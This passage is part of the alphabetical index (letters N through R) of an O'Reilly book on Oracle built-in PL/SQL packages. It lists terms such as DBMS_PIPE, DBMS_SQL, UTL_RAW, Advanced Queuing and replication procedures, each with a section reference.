3.1.1.1. DBMS_PIPE programs
3.1.4.7. The DBMS_PIPE.NEXT_ITEM_TYPE function
datatype values : 3.1.4.4. The DBMS_PIPE.UNPACK_MESSAGE procedure
NEXT_MESSAGE dequeuing : 5.4.2.5. Dequeue navigation
NLS : (see National Language Support)
nonprogram elements
referencing in packages : 1.3.3. Referencing Built-in Package Elements
Oracle Developer/2000 and : 1.3.6.1. Referencing packaged constants and variables
normal queues : 5.1.5. A Glossary of Terms
NOT bit operation : 9.2.3.2. The UTL_RAW.BIT_COMPLEMENT function
nthcol function : 2.5.3. A Wrapper for DBMS_SQL .DESCRIBE_COLUMNS
nthline.sf : 6.2.7.5. Getting the nth line from a file
NUMBER_ARG procedure : 17.3.3.1. The DBMS_DEFER.<datatype>_ARG procedure
numcols function : 2.5.3. A Wrapper for DBMS_SQL .DESCRIBE_COLUMNS
numeric characters (NLS), setting : 11.1.2.3. The DBMS_SESSION.SET_NLS procedure
numeric-to/from raw conversions : 9.2.2.1. Conversion and coercion
NVARCHAR2_ARG procedure : 17.3.3.1. The DBMS_DEFER.<datatype>_ARG procedure

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: O

object names
parsing : 10.1.2.18. The DBMS_UTILITY.NAME_TOKENIZE procedure
resolving components : 10.1.2.17. The DBMS_UTILITY.NAME_RESOLVE procedure
syntax for : 10.2.2.1. Specifying a program name
object numbers
extended ROWID format and : 9.1.2. ROWID Concepts
returning
9.1.3.4. The DBMS_ROWID.ROWID_OBJECT function
10.1.2.17. The DBMS_UTILITY.NAME_RESOLVE procedure
object tables, definition : 9.2.4. UTL_REF: Referencing Objects (Oracle8.0.4)
object types, returning : 10.1.2.17. The DBMS_UTILITY.NAME_RESOLVE procedure
object_keeper procedure
1.3.5.1. Examples of encapsulation packages
12.2.4.1. Pinning packages automatically
objects
(see also partitioned objects)
10.1.2.3. The DBMS_UTILITY.ANALYZE_PART_OBJECT procedure (Oracle8 Only)
DBMS_SQL restrictions : 2.4.1. Some Restrictions
deleting rows containing : 9.2.5.1. The UTL_REF.DELETE_OBJECT procedure
dropping
DROP_MASTER_REPOBJECT used for : 15.3.3.3. The DBMS_REPCAT.DROP_MASTER_REPOBJECT procedure
example : 2.5.1. A Generic Drop_Object Procedure
identifying : 2.5.1. A Generic Drop_Object Procedure
locking : 9.2.5.2. The UTL_REF.LOCK_OBJECT procedure
names for, parsing : 2.5.4.3. Constructing the SELECT
numbers for : (see object numbers)
referencing : 9.2.4. UTL_REF: Referencing Objects (Oracle8.0.4)
retrieving
9.2.5.2. The UTL_REF.LOCK_OBJECT procedure
9.2.5.3. The UTL_REF.SELECT_OBJECT procedure
updating : 9.2.5.4. The UTL_REF.UPDATE_OBJECT procedure
views for : 2.5.1. A Generic Drop_Object Procedure
off procedure : 11.2.3. DBMS_SYSTEM Examples
offline instantiation : (see master sites, instantiation; snapshots, instantiation)
one_animal function : 5.7.5. Searching by Correlation Identifier
onestring.spp : 6.2.6.3. Combining locations and filenames
online auction (example) : 3.2.3.1. The online auction
onsale function : 5.7.6. Using Time Delay and Expiration
open function
6.2.6.3. Combining locations and filenames
6.2.6.4. Adding support for paths
open_and_parse function : 2.4.3. Combining Operations
OPEN_CURSOR function
2.2.3. DBMS_SQL Programs
2.3.2.1. The DBMS_SQL.OPEN_CURSOR function
defining cursor columns and : 2.3.5. Defining Cursor Columns
openprse.sf : 2.4.3. Combining Operations
operating systems
executing commands with DBMS_PIPE : 3.1.7.1. Communicating with the outside world
returning name of : 10.1.2.19. The DBMS_UTILITY.PORT_STRING function
OPS : (see Oracle Parallel Server)
optional parameters : 2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure
OR bit operation : 9.2.3.3. The UTL_RAW.BIT_OR function
Oracle Developer/2000 and built-in packages
calling : 1.3.6. Calling Built-in Packaged Code from Oracle Developer/2000 Release 1
exception handling : 1.3.6.2. Handling exceptions in Oracle Developer/2000 Release 1
referencing nonprogram elements : 1.3.6.1. Referencing packaged constants and variables
Oracle Parallel Server (OPS)
job scheduling and : 13.2.3. Miscellaneous Notes
pollling interval and DBMS_ALERT : 3.2.2.4. The DBMS_ALERT.SET_DEFAULTS procedure
testing if running : 10.1.2.15. The DBMS_UTILITY.IS_PARALLEL_SERVER function
Oracle Server, version information : 10.1.2.19. The DBMS_UTILITY.PORT_STRING function
Oracle7 : 15.3.4.1. The DBMS_REPCAT.GENERATE_REPLICATION_SUPPORT procedure
DBMS_ALERT and : 3.2.3. DBMS_ALERT Examples
DBMS_OUTPUT and : 6.1.1.1. DBMS_OUTPUT programs
ROWID format : 9.1.2. ROWID Concepts
ROWID types : 9. Datatype Packages
Oracle8
AQ and versions of
5. Oracle Advanced Queuing
5.2.3. Authorizing Accounts to Use Oracle AQ
array processing in : 2.5.6.1. Using array processing to insert
datatypes : 2.3.11.1. The DBMS_SQL.DESCRIBE_COLUMNS procedure
DBMS_SQL restrictions : 2.4.1. Some Restrictions
deferred transaction scheduling with : 17.2.6. Scheduling Propagation (Oracle8 only)
messages (pipes) and memory management : 3.1.7.3. The dbpipe utility package
propagation compatibility and versions of : 5.2.2.3. Setting Oracle AQ compatibility
ROWID format : 9.1.2. ROWID Concepts
ROWID types : 9. Datatype Packages
Oracle8 Enterprise Edition, installing AQ and : 5.2.1. Installing the Oracle AQ Facility
output generation : 6.1. DBMS_OUTPUT: Displaying Output
disabling output : 6.1.2.2. The DBMS_OUTPUT.DISABLE procedure
enabling output
6.1.2.1. The DBMS_OUTPUT.ENABLE procedure
6.1.5. Tips on Using DBMS_OUTPUT
enabling/disabling with SQL* : 6.1.2.2. The DBMS_OUTPUT.DISABLE procedure
reading
multiple lines : 6.1.4.2. The DBMS_OUTPUT.GET_LINES procedure
one line : 6.1.4.1. The DBMS_OUTPUT.GET_LINE procedure
writing
data : 6.1.3.1. The DBMS_OUTPUT.PUT procedure
data with newline marker : 6.1.3.2. The DBMS_OUTPUT.PUT_LINE procedure
newline markers : 6.1.3.3. The DBMS_OUTPUT.NEW_LINE procedure
OVERLAY function : 9.2.3.12. The UTL_RAW.OVERLAY function
overloading, describing parameters and : 10.2.2.3. How overloading is handled

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: P

p package (PL/Vision)
6.1.6.1. Encapsulating DBMS_OUTPUT
About PL/Vision
pack_from_tbl procedure : 3.1.7.3. The dbpipe utility package
PACK_MESSAGE procedure
3.1.1.1. DBMS_PIPE programs
3.1.4.1. The DBMS_PIPE.PACK_MESSAGE procedure
sending/receiving relationship and : 3.1.7.3. The dbpipe utility package
PACK_MESSAGE_RAW procedure
3.1.1.1. DBMS_PIPE programs
3.1.4.2. The DBMS_PIPE.PACK_MESSAGE_RAW procedure
PACK_MESSAGE_ROWID procedure
3.1.1.1. DBMS_PIPE programs
3.1.4.3. The DBMS_PIPE.PACK_MESSAGE_ROWID procedure
pack_send_friend procedure
3.1.4.1. The DBMS_PIPE.PACK_MESSAGE procedure
3.1.6.1. Defining message types and encapsulating communications logic
pack_send_request procedure
3.1.3.3. The DBMS_PIPE.RESET_BUFFER procedure
3.1.5.1. The DBMS_PIPE.SEND_MESSAGE function
3.1.7.5. The pipesvr package
pack_send_status procedure : 3.1.7.5. The pipesvr package
package body, definition : 1.3.1. What Is a Package?
package names, returning : 10.1.2.17. The DBMS_UTILITY.NAME_RESOLVE procedure
package specification, definition : 1.3.1. What Is a Package?
package-defined exceptions
1.3.4. Exception Handling and Built-in Packages
1.3.4.2. Package-defined exception
package-named system exceptions
1.3.4. Exception Handling and Built-in Packages
1.3.4.1. Package-named system exception
package-specific exceptions
1.3.4. Exception Handling and Built-in Packages
1.3.4.4. Package-specific exception
Oracle Developer/2000 and : 1.3.6.2. Handling exceptions in Oracle Developer/2000 Release 1
packages
(see also built-in packages)
1.3.1. What Is a Package?
controlling use of elements : 1.3.2. Controlling Access with Packages
description : 1.3.1. What Is a Package?
dot notation for referencing elements : 1.3.3. Referencing Built-in Package Elements
exception handling, identifying cause of : 1.3.4.5. Same exception, different causes
pinning : (see shared pool)
recompiling : 10.3.2. Compiling PL/SQL Objects
referencing elements of : 1.3.3. Referencing Built-in Package Elements
refresh state : 14.1.2.1. The DBMS_SNAPSHOT.I_AM_A_REFRESH function
replicated packages : 15.3.4.1. The DBMS_REPCAT.GENERATE_REPLICATION_SUPPORT procedure
resetting state : 11.1.4.3. The DBMS_SESSION.RESET_PACKAGE procedure
parallel server mode, testing for : 10.1.2.15. The DBMS_UTILITY.IS_PARALLEL_SERVER function
parameters
(see also initialization parameters)
10.1.2.13. The DBMS_UTILITY.GET_PARAMETER_VALUE function
ANY parameters : 9.2.4. UTL_REF: Referencing Objects (Oracle8.0.4)
describing : 10.2. DBMS_DESCRIBE: Describing PL/SQL Program Headers
optional : 2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure
parse procedure : 2.4.6. Problem-Solving Dynamic SQL Errors
PARSE procedure
2.2.3. DBMS_SQL Programs
2.3.3.1. The DBMS_SQL.PARSE procedure
encapsulating for error handling : 2.4.6. Problem-Solving Dynamic SQL Errors
SQL language version : 2.2.6. DBMS_SQL Nonprogram Elements
parse_long_one procedure : 2.3.3.2. Parsing very long SQL statements
parsing SQL statements : (see deferred parsing; SQL statements, parsing)
parslong.sp : 2.3.3.2. Parsing very long SQL statements
partitioned objects, analyzing : 10.1.2.3. The DBMS_UTILITY.ANALYZE_PART_OBJECT procedure (Oracle8 Only)
path function : 6.2.6.4. Adding support for paths
pathnames, UTL_FILE enhancement : 6.2.6.4. Adding support for paths
payload : (see messages (AQ); queues)
payload types : 5.3.3. Queue Type Names
pcex1.sql : 12.1.2.1. The DBMS_SPACE.FREE_BLOCKS procedure
peek procedure : 3.1.7.3. The dbpipe utility package
peers : (see master sites)
percent (multiple-character substitution) : 5.7.5.1. Wildcarded correlation identifiers
performance
array fetching and : 2.5.6.4. Using array processing to fetch
DBMS_SQL used for improving : 2.4.5. Improving the Performance of Dynamic SQL
session identifiers and : 11.1.5.4. The sid function
performance analysis
(see also statistics)
7. Defining an Application Profile
DBMS_APPLICATION_INFO used for
7. Defining an Application Profile
7.3. DBMS_APPLICATION_INFO Examples
7.3.7. Monitoring Application SQL Resource Consumption
7.3.8. Session Monitoring and Three-Tier Architectures
hashing (example) : 10.1.2.12. The DBMS_UTILITY.GET_HASH_VALUE function
storing information for (example) : 7.3.3. The set_stats Procedure
pinning : (see shared pool)
pipe1 procedure : 3.1.7.2. Exploring DBMS_PIPE
pipe1.sql : 3.1.7.2. Exploring DBMS_PIPE
pipe2.sql : 3.1.7.2. Exploring DBMS_PIPE
pipenames : 3.1.3.1. The DBMS_PIPE.CREATE_PIPE function
pipes
(see also DBMS_PIPE package; message buffers; messages (pipes))
3.1. DBMS_PIPE: Communicating Between Sessions
advanced queuing versus : 3.1.2.3. Pipe communications logic
creating
3.1.3.1. The DBMS_PIPE.CREATE_PIPE function
3.1.3.4. The DBMS_PIPE.PURGE procedure
3.1.5.1. The DBMS_PIPE.SEND_MESSAGE function
RECEIVE_MESSAGE and : 3.1.5.2. The DBMS_PIPE.RECEIVE_MESSAGE function
SEND_MESSAGE and : 3.1.3.1. The DBMS_PIPE.CREATE_PIPE function
encapsulating pack/send and receive/unpack : 3.1.7.5. The pipesvr package
implementation of : 3.1.2. How Database Pipes Work
job queue and : 13. Job Scheduling in the Database
memory for
allocating : 3.1.3.1. The DBMS_PIPE.CREATE_PIPE function
freeing
3.1.3.2. The DBMS_PIPE.REMOVE_PIPE function
3.1.3.4. The DBMS_PIPE.PURGE procedure
tips about : 3.1.6.6. Sizing and removing pipes for good memory management
names for : 3.1.3.1. The DBMS_PIPE.CREATE_PIPE function
packing/unpacking relationship : 3.1.7.2. Exploring DBMS_PIPE
purging : 3.1.3.4. The DBMS_PIPE.PURGE procedure
removing : 3.1.3.2. The DBMS_PIPE.REMOVE_PIPE function
separating messages for specific recipients : 3.1.6.2. Separating messages
timeouts
3.1.5.1. The DBMS_PIPE.SEND_MESSAGE function
3.1.5.2. The DBMS_PIPE.RECEIVE_MESSAGE function
3.1.6.4. Paying attention to timeouts
unique session names, returning : 3.1.3.5. The DBMS_PIPE.UNIQUE_SESSION_NAME function
utility package : 3.1.7.3. The dbpipe utility package
pipesvr package
(see also specific program names)
3.1.7.5. The pipesvr package
pipesvr.sql
3.1.3.3. The DBMS_PIPE.RESET_BUFFER procedure
3.1.5.2. The DBMS_PIPE.RECEIVE_MESSAGE function
3.1.7.5. The pipesvr package
pipex1.sql
3.1.4.1. The DBMS_PIPE.PACK_MESSAGE procedure
3.1.6.1. Defining message types and encapsulating communications logic
pipex2.sql : 3.1.4.7. The DBMS_PIPE.NEXT_ITEM_TYPE function
pl procedure : 6.1.6.1. Encapsulating DBMS_OUTPUT
PL/SQL
scope with dynamic SQL : 2.4.8. Executing Dynamic PL/SQL
blocks, syntax for : 2.4.8. Executing Dynamic PL/SQL
connections and : 2.4.7. Executing DDL in PL/SQL
debugging stored code : 6.1. DBMS_OUTPUT: Displaying Output
dynamic execution of : 2. Executing Dynamic SQL and PL/SQL
tables : (see index-by tables)
PL/SQL server, DBMS_PIPE implementation of : 3.1.7.4. Implementing a server program
PL/Vision (RevealNet product) : About PL/Vision
PL/Vision Lite : 2.4.6. Problem-Solving Dynamic SQL Errors
place_bid procedure : 3.2.3.5. The auction package
placeholders : (see host variables)
plsqlarray.sp : 2.5.6.5. Using array processing in dynamic PL/SQL
PLVdyn : About PL/Vision
PLVfile : About PL/Vision
pop procedure : 5.7.3. Building a Stack with AQ Using Sequence Deviation
PORT_STRING function
10.1.1. Getting Started with DBMS_UTILITY
10.1.2.19. The DBMS_UTILITY.PORT_STRING function
pragmas, packaged programs and : 1.3.7. Accessing Built-in Packaged Technology from Within SQL
priority groups
(see also site priority groups)
16.3. Priority Groups with DBMS_REPCAT
16.3.4.2. The DBMS_REPCAT.DROP_PRIORITY_<datatype> procedure
adding priority levels : 16.3.3.1. The DBMS_REPCAT.ADD_PRIORITY_<datatype> procedure
altering data values : 16.3.3.3. The DBMS_REPCAT.ALTER_PRIORITY_<datatype> procedure
altering priority levels : 16.3.3.2. The DBMS_REPCAT.ALTER_PRIORITY procedure
comments, creating or changing : 16.3.2.3. The DBMS_REPCAT.COMMENT_ON_PRIORITY_GROUP procedure
concepts
16.3.1. About Priority Groups
16.3.3. Creating and Maintaining Priorities Within a Priority Group
creating : 16.3.2.1. The DBMS_REPCAT.DEFINE_PRIORITY_GROUP procedure
dropping priority groups : 16.3.2.2. The DBMS_REPCAT.DROP_PRIORITY_GROUP procedure
dropping priority levels by data value : 16.3.4.2. The DBMS_REPCAT.DROP_PRIORITY_<datatype> procedure
dropping priority levels by priority level number : 16.3.4.1. The DBMS_REPCAT.DROP_PRIORITY procedure
priority levels
adding : 16.3.3.1. The DBMS_REPCAT.ADD_PRIORITY_<datatype> procedure
altering : 16.3.3.2. The DBMS_REPCAT.ALTER_PRIORITY procedure
dropping by data value : 16.3.4.2. The DBMS_REPCAT.DROP_PRIORITY_<datatype> procedure
dropping by level number : 16.3.4.1. The DBMS_REPCAT.DROP_PRIORITY procedure
dropping site priorities via : 16.4.3.2. The DBMS_REPCAT.DROP_SITE_PRIORITY_SITE procedure
priority package
(see also specific program names)
5.7.2. Working with Prioritized Queues
priority.spp : 5.7.2. Working with Prioritized Queues
priority.tst : 5.7.2. Working with Prioritized Queues
priority_name function : 5.7.2. Working with Prioritized Queues
private pipes
3.1. DBMS_PIPE: Communicating Between Sessions
3.1.3.1. The DBMS_PIPE.CREATE_PIPE function
privileges
(see also roles)
2.2.1. Creating the DBMS_SQL Package
DDL statement execution and : 2.4.7. Executing DDL in PL/SQL
procedures
describing : 10.2.1.3. The DBMS_DESCRIBE.DESCRIBE_PROCEDURE procedure
recompiling : 10.3.2. Compiling PL/SQL Objects
referencing in packages : 1.3.3. Referencing Built-in Package Elements
replicated procedures : 15.3.4.1. The DBMS_REPCAT.GENERATE_REPLICATION_SUPPORT procedure
process_request procedure : 3.1.7.5. The pipesvr package
producers
(see also consumers)
5.1.5. A Glossary of Terms
delaying dequeuing : 5.3.6. Message Properties Record Type
program names
finding within packages and DBMS_DESCRIBE : 10.2.3.2. Using psdesc.args as a quality assurance tool
registering : 7.2.5. The DBMS_APPLICATION_INFO.SET_MODULE procedure
returning
7.2.2. The DBMS_APPLICATION_INFO.READ_MODULE procedure
10.1.2.17. The DBMS_UTILITY.NAME_RESOLVE procedure
syntax for : 10.2.2.1. Specifying a program name
programs
(see also functions; procedures)
1.3.3. Referencing Built-in Package Elements
describing : 10.2.1.3. The DBMS_DESCRIBE.DESCRIBE_PROCEDURE procedure
recompiling : 10.3.2. Compiling PL/SQL Objects
referencing in packages : 1.3.3. Referencing Built-in Package Elements
propagating messages
AQ features for : 5.1.4. Propagation Features
Oracle8 versions and : 5.2.2.3. Setting Oracle AQ compatibility
scheduling : 5.5.5.1. The DBMS_AQADM.SCHEDULE_PROPAGATION procedure
starting : 5.2.2.2. Starting propagation processes
unscheduling : 5.5.5.2. The DBMS_AQADM.UNSCHEDULE_PROPAGATION procedure
viewing schedules : 5.6.2.3. The DBA_JOBS view
propagating transactions
(see also deferred traansactions)
17.2.5. Propagating Deferred RPCs
disabling : 17.2.6.1. The DBMS_DEFER_SYS.EXCLUDE_PUSH function (Oracle8 only)
enabling and disabling : 17.2.4.5. The DBMS_DEFER_SYS.SET_DISABLED procedure
new destinations : 17.2.3. Copying Deferred Transactions to New Destinations
Oracle8 scheduling : 17.2.6. Scheduling Propagation (Oracle8 only)
purging : 17.2.6.2. The DBMS_DEFER_SYS.PURGE function (Oracle8 only)
pushing queued transactions
17.2.5. Propagating Deferred RPCs
17.2.6.3. The DBMS_DEFER_SYS.PUSH function
registering propagators : 17.2.6.8. The DBMS_DEFER_SYS.REGISTER_PROPAGATOR procedure (Oracle8 only)
scheduling purge : 17.2.6.4. The DBMS_DEFER_SYS.SCHEDULE_PURGE procedure (Oracle8 only)
scheduling push : 17.2.6.5. The DBMS_DEFER_SYS.SCHEDULE_PUSH procedure (Oracle8 only)
scheduling, strategies for : 17.2.5.1. Scheduling strategies
unregistrating propagators : 17.2.6.9. The DBMS_DEFER_SYS.UNREGISTER_PROPAGATOR procedure (Oracle8 only)
unscheduling purge : 17.2.6.6. The DBMS_DEFER_SYS.UNSCHEDULE_PURGE procedure (Oracle8 only)
unscheduling push : 17.2.6.7. The DBMS_DEFER_SYS.UNSCHEDULE_PUSH procedure (Oracle8 only)
propagator accounts : 15.1.3. Granting and Revoking Propagator Accounts (Oracle8)
protocols (for messages)
5.1.5. A Glossary of Terms
5.3.4. Agents Object Type
tips about : 3.1.6.3. Establishing messaging protocols
prt package
(see also specific program names)
6.1.6.2. Package specification for a DBMS_OUTPUT encapsulator
prt.spp : 6.1.6.2. Package specification for a DBMS_OUTPUT encapsulator
prvtjob.plb script : 13.3.3. DBMS_IJOB: Managing Other Users' Jobs
prvtoctk.plb script : 10.4.1. Getting Started with DBMS_RANDOM
prvtofln.plb script
14.3.1. Getting Started with DBMS_OFFLINE_SNAPSHOT
15.4.1. Getting Started with DBMS_OFFLINE_OG
prvtpool.plb script : 12.2.1. Getting Started with DBMS_SHARED_POOL
prvtrctf.sql script
15.5.1. Getting Started with DBMS_RECTIFIER_DIFF
17.2.1. Getting Started with DBMS_DEFER_SYS
17.4.1. Getting Started with DBMS_DEFER_QUERY
prvtrepc.sql script
15.1.1. Getting Started with DBMS_REPCAT_AUTH
15.2.1. Getting Started with DBMS_REPCAT_ADMIN
prvtutil.plb script : 11.2.1. Getting Started with DBMS_SYSTEM
psdesc package
(see also specific program names)
1.3.5.1. Examples of encapsulation packages
10.2.3.1. Features of the psdesc package
psdesc.spp : 10.2.3.1. Features of the psdesc package
psdesc.tst
10.2.2.2. The DESCRIBE level
10.2.2. Explaining DBMS_DESCRIBE Results
pseudocolumns : 9.1.2. ROWID Concepts
public pipes
3.1. DBMS_PIPE: Communicating Between Sessions
3.1.3.1. The DBMS_PIPE.CREATE_PIPE function
PURGE procedure (DBMS_DEFER_SYS)
17.2.1.1. DBMS_DEFER_SYS programs
17.2.6.2. The DBMS_DEFER_SYS.PURGE function (Oracle8 only)
PURGE procedure (DBMS_PIPE)
3.1.1.1. DBMS_PIPE programs
3.1.3.4. The DBMS_PIPE.PURGE procedure
purge_all_pipes procedure : 3.1.3.4. The DBMS_PIPE.PURGE procedure
PURGE_LOG procedure
14.1.1. Getting Started with DBMS_SNAPSHOT
14.1.4. Purging the Snapshot Log
PURGE_LOST_DB_ENTRY procedure
4.2.1.1. DBMS_TRANSACTION programs
4.2.6.2. The DBMS_TRANSACTION.PURGE_LOST_DB_ENTRY procedure
PURGE_MASTER_LOG procedure
15.3.1.1. DBMS_REPCAT programs
15.3.6.3. The DBMS_REPCAT.PURGE_MASTER_LOG procedure
PURGE_MIXED procedure
4.2.1.1. DBMS_TRANSACTION programs
4.2.6.1. The DBMS_TRANSACTION.PURGE_MIXED procedure
PURGE_STATISTICS procedure
16.1.1. DBMS_REPCAT Programs
16.6.1.3. The DBMS_REPCAT.PURGE_STATISTICS procedure
purity levels : 1.3.7.1. Calling a packaged function in SQL
PUSH function
17.2.1.1. DBMS_DEFER_SYS programs
17.2.6.3. The DBMS_DEFER_SYS.PUSH function
push procedure : 5.7.3. Building a Stack with AQ Using Sequence Deviation
PUT procedure (DBMS_OUTPUT)
6.1.1.1. DBMS_OUTPUT programs
6.1.3.1. The DBMS_OUTPUT.PUT procedure
PUT procedure (UTL_FILE)
6.2.1.1. UTL_FILE programs
6.2.4.1. The UTL_FILE.PUT procedure
PUT_LINE procedure (DBMS_OUTPUT)
6.1.1.1. DBMS_OUTPUT programs
6.1.3.2. The DBMS_OUTPUT.PUT_LINE procedure
PUT_LINE procedure (UTL_FILE)
6.2.1.1. UTL_FILE programs
6.2.4.3. The UTL_FILE.PUT_LINE procedure
PUTF procedure (UTL_FILE)
6.2.1.1. UTL_FILE programs
6.2.4.4. The UTL_FILE.PUTF procedure

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: Q

Q (Savant Corporation product) : About Q
qtable_exists function : 5.7.1. Improving AQ Ease of Use
qualified names, parsing
2.5.4.3. Constructing the SELECT
10.1.2.18. The DBMS_UTILITY.NAME_TOKENIZE procedure
quality assurance, psdesc package used for : 10.2.3.2. Using psdesc.args as a quality assurance tool
queries
fetching rows : 2.3.8.1. The DBMS_SQL.COLUMN_VALUE procedure
Method 4 dynamic SQL example : 2.5.4. Displaying Table Contents with Method 4 Dynamic SQL
Queue Monitor
5.1.7. Queue Monitor
5.1.5. A Glossary of Terms
starting
5.2.2.1. Starting the Queue Monitor
5.5.7.1. The DBMS_AQADM.START_TIME_MANAGER procedure
stopping : 5.5.7.2. The DBMS_AQADM.STOP_TIME_MANAGER procedure
queue tables
5.1.8. Data Dictionary Views
5.1.5. A Glossary of Terms
creating : 5.5.1.2. The DBMS_AQADM.CREATE_QUEUE_TABLE procedure
database tables for
5.1.8. Data Dictionary Views
5.6.1.1. The database table for queue data
dropping : 5.5.4.3. The DBMS_AQADM.DROP_QUEUE_TABLE procedure
granting privileges : 5.5.1. Creating Queue Tables
illustration : 5.1.5. A Glossary of Terms
information about : 5.6.2.1. The DBA_QUEUE_TABLES view
views for
5.1.8. Data Dictionary Views
5.6.1. Objects Per Queue Table
5.6.1.2. The queue table view
creating : 5.5.1.2. The DBMS_AQADM.CREATE_QUEUE_TABLE procedure
queue_exists function : 5.7.1. Improving AQ Ease of Use
QUEUE_SUBSCRIBERS procedure
5.5. DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only)
5.5.3.3. The DBMS_AQADM.QUEUE_SUBSCRIBERS procedure
queues
(see also exception queues; messages (AQ))
5.1.5. A Glossary of Terms
altering properties : 5.5.2.3. The DBMS_AQADM.ALTER_QUEUE procedure
browsing
5.1.3. Dequeue Features
5.3.8. Dequeue Options Record Type
example : 5.7.4. Browsing a Queue's Contents
creating : 5.5.2.1. The DBMS_AQADM.CREATE_QUEUE procedure
dequeuing : (see dequeuing)
dropping : 5.5.4.2. The DBMS_AQADM.DROP_QUEUE procedure
enqueuing : (see enqueuing)
granting access for multiple consumers : 5.5.1.1. The DBMS_AQADM.GRANT_TYPE_ACCESS procedure
indexes used for : 5.5.1.2. The DBMS_AQADM.CREATE_QUEUE_TABLE procedure
message order in
5.1.2. Enqueue Features
5.5.1.2. The DBMS_AQADM.CREATE_QUEUE_TABLE procedure
object types for : 5.3.3. Queue Type Names
obtaining information about : 5.6.2.2. The DBA_QUEUES view
prioritized (example) : 5.7.2. Working with Prioritized Queues
privileges : 5.5.1.2. The DBMS_AQADM.CREATE_QUEUE_TABLE procedure
starting : 5.5.2.2. The DBMS_AQADM.START_QUEUE procedure
stopping : 5.5.4.1. The DBMS_AQADM.STOP_QUEUE procedure
verifying types of : 5.5.6.1. The DBMS_AQADM.VERIFY_QUEUE_TYPES procedure
views for : 5.1.8. Data Dictionary Views
quiescence : 15.3.7.1. The DBMS_REPCAT.SUSPEND_MASTER_ACTIVITY procedure

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: R

RANDOM function
10.4.1. Getting Started with DBMS_RANDOM
10.4.2.3. The DBMS_RANDOM.RANDOM function (Oracle8 only)
random number generation : 10.4. DBMS_RANDOM: Generating Random Numbers (Oracle8 Only)
raw data
(see also UTIL_RAW package)
9.2. UTL_RAW: Manipulating Raw Data
9.2.3.1. The UTL_RAW.BIT_AND function
byte string operations : 9.2.2.2. Slicing and dicing
character set conversions : 9.2.3.9. The UTL_RAW.CONVERT function
comparing : 9.2.3.7. The UTL_RAW.COMPARE function
concatenating
9.2.3.10. The UTL_RAW.COPIES function
9.2.3.8. The UTL_RAW.CONCAT function
concepts : 9.2.2. Raw Data Manipulation Concepts
copying : 9.2.3.10. The UTL_RAW.COPIES function
date conversions : 9.2.2.1. Conversion and coercion
hex conversions : 9.2.2.1. Conversion and coercion
length of : 9.2.3.11. The UTL_RAW.LENGTH function
numeric conversions : 9.2.2.1. Conversion and coercion
overlaying : 9.2.3.12. The UTL_RAW.OVERLAY function
range of values : 9.2.3.17. The UTL_RAW.XRANGE function
reversing : 9.2.3.13. The UTL_RAW.REVERSE function
substring of : 9.2.3.14. The UTL_RAW.SUBSTR function
translation of byte strings : 9.2.3.15. The UTL_RAW.TRANSLATE function
transliteration : 9.2.3.16. The UTL_RAW.TRANSLITERATE function
VARCHAR2 conversions : 9.2.3.6. The UTL_RAW.CAST_TO_VARCHAR2 function
VARCHAR2 conversions
9.2.2.1. Conversion and coercion
9.2.3.5. The UTL_RAW.CAST_TO_RAW function
RAW_ARG procedure : 17.3.3.1. The DBMS_DEFER.<datatype>_ARG procedure
READ procedure (DBMS_LOB)
8.1.1. DBMS_LOB Programs
8.3.2.3. The DBMS_LOB.READ procedure
SUBSTR versus
8.3.2.3. The DBMS_LOB.READ procedure
8.3.2.4. The DBMS_LOB.SUBSTR function
READ_CLIENT_INFO procedure
7.1.1. DBMS_APPLICATION_INFO Programs
7.2.1. The DBMS_APPLICATION_INFO.READ_CLIENT_INFO procedure
READ_EV procedure : 11.2.2.1. The DBMS_SYSTEM.READ_EV procedure
READ_MODULE procedure
7.1.1. DBMS_APPLICATION_INFO Programs
7.2.2. The DBMS_APPLICATION_INFO.READ_MODULE procedure
READ_ONLY procedure
4.2.1.1. DBMS_TRANSACTION programs
4.2.5.1. The DBMS_TRANSACTION.READ_ONLY procedure
READ_WRITE procedure
4.2.1.1. DBMS_TRANSACTION programs
4.2.5.2. The DBMS_TRANSACTION.READ_WRITE procedure
readev.sql : 11.2.2.1. The DBMS_SYSTEM.READ_EV procedure
RECEIVE_MESSAGE function
